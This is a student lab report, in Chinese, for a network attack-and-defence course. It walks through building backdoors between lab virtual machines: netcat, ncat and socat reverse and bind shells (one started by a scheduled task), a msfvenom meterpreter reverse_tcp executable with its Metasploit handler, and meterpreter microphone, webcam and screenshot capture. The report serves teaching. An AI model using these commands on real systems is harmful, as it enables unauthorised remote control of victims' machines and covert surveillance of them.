2017-2018-2 20155309南皓芯《网络对抗技术》Exp2 后门原理与实践

实验要求

(1)使用netcat获取主机操作Shell，cron启动 (0.5分)

(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

(3)使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

(4)使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权 (2分)

(5)可选加分内容：使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell(1分）加分内容一并写入本实验报告。

实验内容

了解监听，对主机与客机有更深入的了解。

实验步骤

1.用nc或netcat获取远程主机的Shell

1.1.1 Windows获得Linux Shell

首先在windows下面打开监听

用ipconfig命令，找到自己的IP地址
192.168.234.129

下载ncat并进入该目录，按windows + R组合键打开cmd.exe，输入ncat.exe -l -p 5309命令：

需要下载的netcat在老师提供的码云上

然后将其放在win7虚拟机下C盘即可

这时，防火墙会报警，这时为了实验的需求，我们要关闭所有的防火墙。

我的防火墙实在windows defender下的防火墙

2.Linux反弹连接Win，输入命令

nc 192.168.234.129 5309 -e /bin/sh

Windows下获得一个linux shell，可运行任何指令，如ls

1.2 Linux获得Win Shell

1.用ifconfig命令查看本机IP为
192.168.234.133

2.Linux运行监听指令，输入命令nc -l -p 5309

3.Windows反弹连接Linux，在ncat目录下输入命令
ncat.exe -e cmd.exe 192.168.234.133 5309

这样我们就可以随意查看文件了。

(2)使用socat获取主机操作Shell,

首先我们了解一下什么是socat

socat是一个多功能的网络工具，名字来由是“Socket CAT”，可以看作是netcat的N倍加强版

1.在Windows 7中打开开始菜单，搜索管理工具并打开

找到任务计划程序并打开，点击创建任务：

击触发器选项卡，选择新建，然后将开始任务设置为工作站锁定时

点击常规选项卡，输入名称(学号)

再点击操作选项卡，点击新建，程序或脚本中选择socat.exe路径，在添加参数一栏中写
tcp-listen:5309 exec:cmd.exe,pty,stderr
（作用是把cmd.exe绑定到端口5314，同时把cmd.exe的stderr重定向到stdout上），点击确定保存设置：

点击右栏中的显示所有正在运行的任务，找到刚刚创建的20155309任务，右键点击运行，此时会弹出一个黑色的框框表明成功运行：

在Kali Linux中输入socat - tcp:192.168.234.134 :5309
命令，可以成功得到一个cmd shell：

2 Meterpreter

使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell

这个实验使用的IP地址还是win7的
192.168.234.129

在kali中输入：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.234.129 LPORT=5321 -f exe > 20155309_backdoor.exe

可以看到虚拟机显示这样的画面

通过nc指令将生成的后门程序传送到Windows主机上

2.2 MSF打开监听进程

在Kali Linux中输入msfconsole命令：

每次输入msfconcole都有新体验

再依次输入以下命令：

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 192.168.234.134

set LPORT 5309

show options

exploit

注意：
IP地址选取的是kali虚拟机的。

接下来我们就可以做监听了。
要注意关闭win7的防火墙

Win平台ncat目录下找到后门并双击运行20155309_backdoor.exe：

然后我们就获取到了shellcode

使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权

使用record_mic指令可以截获一段音频：

使用webcam_snap指令可以使用摄像头进行拍照

色相头打开失败。

利用screenshot可以进行截屏。

实验过程中遇到的问题

1.无法进行监听

将网络设置改成桥接。

实验心得与体会

这次的实验算是这几个学期以来包括所有课最好玩的实验了。虽然可能之前基础比较差，但是现在也改变了自己原来的看法，想要去学习，想要去独立完成实验。反正想要去改变总是好的，浪子回头金不换，